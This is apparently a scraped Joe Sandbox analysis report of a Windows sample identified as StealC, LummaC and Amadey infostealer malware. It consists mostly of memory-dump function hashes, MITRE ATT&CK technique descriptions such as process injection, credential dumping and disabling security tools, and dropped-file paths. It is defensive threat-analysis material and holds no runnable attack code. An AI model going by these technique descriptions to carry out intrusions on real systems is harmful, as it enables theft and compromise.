Opcode Fuzzy Hash: a5d6afd3c120f97c1ef8f7148b63adc86aeb49b1142cf327a8fac189fa4ae9da
Instruction Fuzzy Hash: 03E0C2317407240B8726AA2EA81089F77EBDFC5672300442EE119C7340DEA4FD068BE5

Function 04718739 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ef3b0537d40a701d667ced708cdccaafc4fcc4bd6e282500c6d5faee84d52ad
Instruction ID: a0b05e46599b048b7e37c3e0e7b2b2f1d247577e16fb504d16f32ebf6dfc2226
Opcode Fuzzy Hash: 5ef3b0537d40a701d667ced708cdccaafc4fcc4bd6e282500c6d5faee84d52ad
Instruction Fuzzy Hash: CDE04FB9D0924E8BCB08ABAAE44A4BE7F78FB00301B0001A9D64792191DB24154ACEC2

Function 04718800 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78741dc367859e41fcb86421f4039020ee203955f9f94a710bcec52f2f8feb62
Instruction ID: 73e3d3830b1c111fe2df53ce7bdf9fefcace1043b049823da5a62c0598456ea1
Opcode Fuzzy Hash: 78741dc367859e41fcb86421f4039020ee203955f9f94a710bcec52f2f8feb62
Instruction Fuzzy Hash: 22E04F7AA0934B9FCB08DFA5E48A5ADBFF5BB84204B004055ED0997741EB316855CFC2

Function 0471F470 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 4f55d6a1940b5b2d71910138601ddf6d47aa9ebe85682cdb34b074a2aedc9044
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 18D067B0D042099F8780EFADC94166EFBF4EB48200F6085AAC919E7311F7329A12CBD1

Function 04718748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d77c55362ae8564f02a12b2498f1f2142d2fda9f1ec68301215d97978f56354
Instruction ID: bbbf8d796621982a1b29cd7dbe595b2de78fcbcf758a3111f350e93bc447de6f
Opcode Fuzzy Hash: 4d77c55362ae8564f02a12b2498f1f2142d2fda9f1ec68301215d97978f56354
Instruction Fuzzy Hash: 09D06779D0520DCBCB0CABA6E85B4BDBB78FB54301F404169DA0752290EA352A5ACAC6

Function 04718810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b8763e18d54c5ccead67212fec758258c38ae91d80d72279feb4710cd84f410
Instruction ID: e1df9eae3a2095286168c1267730f09ed399a72bf063919ae34749681bce675a
Opcode Fuzzy Hash: 0b8763e18d54c5ccead67212fec758258c38ae91d80d72279feb4710cd84f410
Instruction Fuzzy Hash: 8FD01278A0420E8FC708EFA5D44646EBBB4AB84200F004155DA0593350EA306801CFC1

Function 04717EA0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66159a0285947f73e584b4c8df87d065d64c509d06878fb78e238a0411ba4f58
Instruction ID: 5afecbf0760642ae6486452fc696b0f4a76c5258961e7d4c72feaff1c8aabbd3
Opcode Fuzzy Hash: 66159a0285947f73e584b4c8df87d065d64c509d06878fb78e238a0411ba4f58
Instruction Fuzzy Hash: 56C0021150A3C05FEF4386319DA71053F72895352870E89C298919B063C8288C1ADBA1

Function 04717938 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c95f3dbf11ae21c26433d45c0c06048d0465f6b3783d7db1b4b37f8b7833eab3
Instruction ID: 187cb1b5efd791df0e5221bc019486ba94e8a39b9841baf3c2a44678da388ce3
Opcode Fuzzy Hash: c95f3dbf11ae21c26433d45c0c06048d0465f6b3783d7db1b4b37f8b7833eab3
Instruction Fuzzy Hash: B5C012390493858FCB0A9B38A0488587F21AB8225831509DCE80A2B2A3DA72A48ADF40

Function 04717940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e753c716dbcc29b0d2ff4f542158b49874f80e47bbcda54c7e6d8453ce7916c
Instruction ID: 23f0ffac0d5afc7bef154f12645d2d24200f65a31608e76355a17ec33da5e29b
Opcode Fuzzy Hash: 0e753c716dbcc29b0d2ff4f542158b49874f80e47bbcda54c7e6d8453ce7916c
Instruction Fuzzy Hash: 86B092310447098FC24A6F75E408818B369BB4021938008ACE90E1A2928E76E899CA45

Function 04717390 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc9c167f9f03f541854ca54ba31959a6d04a7378baa086d59da84f6671e1fdb9
Instruction ID: a548b33b4c07d13a7c7e78df95726497414563d485887686cab71564dcb22fec
Opcode Fuzzy Hash: dc9c167f9f03f541854ca54ba31959a6d04a7378baa086d59da84f6671e1fdb9
Instruction Fuzzy Hash: 5AA00236B1411147BF4DDA3B46DB53A7FB357C2201304C56A5213C1254DD386945A514

Non-executed Functions

Function 07240FB8 Relevance: 18.0, Strings: 14, Instructions: 493COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 0724115F
$^q, xrefs: 07241253
fcq, xrefs: 072410A2
$^q, xrefs: 07241044
tP^q, xrefs: 07241127
$^q, xrefs: 07241239
$^q, xrefs: 07241263
`Q^q, xrefs: 07241153
$^q, xrefs: 07241081
`Q^q, xrefs: 07241193
tP^q, xrefs: 07241133
$^q, xrefs: 07241065
$^q, xrefs: 07241229
`Q^q, xrefs: 072410ED

Memory Dump Source

Source File: 00000008.00000002.2476975746.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: fcq$`Q^q$`Q^q$`Q^q$`Q^q$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3023990210
Opcode ID: de4e2906472d5df5dd5e912f73153fd58820ba4853b178ca9b450c12c1522c76
Instruction ID: 83ef278c7a7279e1286c0bdc6afdca6bf85b413a9a136f1b3de2bc98c8375fd0
Opcode Fuzzy Hash: de4e2906472d5df5dd5e912f73153fd58820ba4853b178ca9b450c12c1522c76
Instruction Fuzzy Hash: 1702F5B072425EDFCB19CF68C8046AA7BF2AF85311F1484A6E805CB281DB75DDE5C7A1

Function 07240F94 Relevance: 11.4, Strings: 9, Instructions: 196COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 07241153
$^q, xrefs: 07241081
$^q, xrefs: 07241253
fcq, xrefs: 072410A2
$^q, xrefs: 07241044
tP^q, xrefs: 07241127
$^q, xrefs: 07241065
$^q, xrefs: 07241229
`Q^q, xrefs: 072410ED

Memory Dump Source

Source File: 00000008.00000002.2476975746.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: fcq$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2306644927
Opcode ID: e1c7a6a8323a07d557d4699ba75abef9bea86e98b89a85d3679bff496d751265
Instruction ID: 949a5451f426c8aba91e89b24b6c49870708450b9f980a74ba47c334538464a5
Opcode Fuzzy Hash: e1c7a6a8323a07d557d4699ba75abef9bea86e98b89a85d3679bff496d751265
Instruction Fuzzy Hash: B5718BB0A3420FDFDB2DCF44C548AAA7BB2AB45351F188095E8059B291C7B5DDE4CBA1

Function 07243928 Relevance: 10.3, Strings: 8, Instructions: 326COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07243B29
tP^q, xrefs: 072439B1
$^q, xrefs: 0724396C
$^q, xrefs: 0724393A
$^q, xrefs: 07243C0E
4'^q, xrefs: 07243B35
$^q, xrefs: 07243960
tP^q, xrefs: 072439A5

Memory Dump Source

Source File: 00000008.00000002.2476975746.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-3865595929
Opcode ID: 2a0dc44270726f86d821aa26509cd5af5a0350425b2ad3156d61be3dcb62408a
Instruction ID: b225e4eb4ea0b05801bce463553ca10b8e3e4a5e21f56f5ecf87b233c21017a9
Opcode Fuzzy Hash: 2a0dc44270726f86d821aa26509cd5af5a0350425b2ad3156d61be3dcb62408a
Instruction Fuzzy Hash: B4A178B27243569FCB29DB698800766BBF2AF85320F14846AD449DF383DE35C945C7A1

Function 07243678 Relevance: 6.4, Strings: 5, Instructions: 188COMMON

Download Yara Rule

Strings

$^q, xrefs: 072437FF
$^q, xrefs: 07243836
4'^q, xrefs: 0724372E
$^q, xrefs: 0724382A
4'^q, xrefs: 07243722

Memory Dump Source

Source File: 00000008.00000002.2476975746.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 65c000d40ed2a04024d10e180aa1e6bfd2fbacf34e3503501338a1a9c13aa9bd
Instruction ID: b1d15ea0710da25b893caaab31666cee35f19fb0b560bfb51717f5bc593946ed
Opcode Fuzzy Hash: 65c000d40ed2a04024d10e180aa1e6bfd2fbacf34e3503501338a1a9c13aa9bd
Instruction Fuzzy Hash: E95139F17343179BDB28DA698800766BBB2AFC6661F24846BC445DB342EF35C845CBA1

Function 04714CB0 Relevance: 6.4, Strings: 5, Instructions: 175COMMON

Download Yara Rule

Strings

@n^, xrefs: 04714CD2
@n^, xrefs: 04714CE2
@n^, xrefs: 04714D32
@n^, xrefs: 04714D92
@n^, xrefs: 04714DE2

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID: @n^$@n^$@n^$@n^$@n^
API String ID: 0-3276179463
Opcode ID: 17d5d3aba1c5bf7244d8660e23437bce7988132ada10987afcf7fbb43c86a1c2
Instruction ID: 79da49b2c2a139d545448e699bb11cadda3b6dac4ea550734c534a0777f192f4
Opcode Fuzzy Hash: 17d5d3aba1c5bf7244d8660e23437bce7988132ada10987afcf7fbb43c86a1c2
Instruction Fuzzy Hash: 4651386550E3C14FC3179B3C98A84917FF5AFA729830A05DBC4C4CF1A3E9295C1AC7A6

Function 07241D80 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07241F89
tP^q, xrefs: 07241FEB
tP^q, xrefs: 07241FDF
4'^q, xrefs: 07241F95

Memory Dump Source

Source File: 00000008.00000002.2476975746.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q
API String ID: 0-3859475322
Opcode ID: 069ab3569fe4821157ca9678640299bf9e73362c06a1ba10690d82242b56ca35
Instruction ID: 8252fd06be365dc5557a03f1b45f1eea150481c26436a8c557dfa095be18e828
Opcode Fuzzy Hash: 069ab3569fe4821157ca9678640299bf9e73362c06a1ba10690d82242b56ca35
Instruction Fuzzy Hash: 249167B1B3434BCFCB298B699404667BBF2AFD5311F1984ABD9058F241DB31C896C7A1

Function 04717A21 Relevance: 5.2, Strings: 4, Instructions: 242COMMON

Download Yara Rule

Strings

`_q, xrefs: 04717B23
`_q, xrefs: 04717CC2
`_q, xrefs: 04717BA2
`_q, xrefs: 04717C44

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: 977cb5e839b28d647ad702cac36baf8618fbdc727cc9469c2ed7ea2de231c3d1
Instruction ID: 5c2746834aa2e78a8297f0d258548a41eec5968c5310652a693ef18946e7df71
Opcode Fuzzy Hash: 977cb5e839b28d647ad702cac36baf8618fbdc727cc9469c2ed7ea2de231c3d1
Instruction Fuzzy Hash: FBB1A374E012199FDB55DFA9D980A9DFBF2FF88300F108629E419AB315EB34A945CF90

Function 04717A30 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 04717B23
`_q, xrefs: 04717CC2
`_q, xrefs: 04717BA2
`_q, xrefs: 04717C44

Memory Dump Source

Source File: 00000008.00000002.2471064208.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: 0caa8b5ec7993c315355a527525e958c2198df240096a2cfdfd9d03fcf4f76e9
Instruction ID: 54f98440bb74116f75a5eeb72a410217b51ef1c655489870f49780d3cb361b7d
Opcode Fuzzy Hash: 0caa8b5ec7993c315355a527525e958c2198df240096a2cfdfd9d03fcf4f76e9
Instruction Fuzzy Hash: C8B18474E002199FDB54DFA9D990A9DFBF2FF88301F108629E419AB314EB74A945CF90

Function 07245798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07245800
$^q, xrefs: 072457AA
$^q, xrefs: 072457C6
$^q, xrefs: 072457F4

Memory Dump Source

Source File: 00000008.00000002.2476975746.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 1100971e66e193dd2fbeb1d5372c6cce1586c0e58d734c9ba8d9be9a0c3fa468
Instruction ID: 5e934296cdde466fff057e71cfeb7d3891474985f76d2268affa383791425916
Opcode Fuzzy Hash: 1100971e66e193dd2fbeb1d5372c6cce1586c0e58d734c9ba8d9be9a0c3fa468
Instruction Fuzzy Hash: AD2177B1730216ABDB2C5A2B8801B37BBD6ABC0711F24843EE585CF281DE75C8958361

Function 07240308 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07240373
$^q, xrefs: 07240352
4'^q, xrefs: 0724037F
$^q, xrefs: 0724035E

Memory Dump Source

Source File: 00000008.00000002.2476975746.0000000007240000.00000040.00000800.00020000.00000000.sdmp, Offset: 07240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7240000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: dc75279474e63d4bb2170fbb479ff1e5981e5e59ed69422951343b05927dd6a4
Instruction ID: 2a31d46d6cc509cd2c0a4d48d40307c1363e102c26fa45ae469cde6939616956
Opcode Fuzzy Hash: dc75279474e63d4bb2170fbb479ff1e5981e5e59ed69422951343b05927dd6a4
Instruction Fuzzy Hash: 8501D86072D7965FC73F576808201A56FF29FC3A1071A85D7C540DF296CE294C8983A2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFBKFHIDHIIJJKECGHCF

C:\ProgramData\BFIJEHCB

C:\ProgramData\GDHIEHJEBAAFIDHJEBGI

C:\ProgramData\JKKFIIEB

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

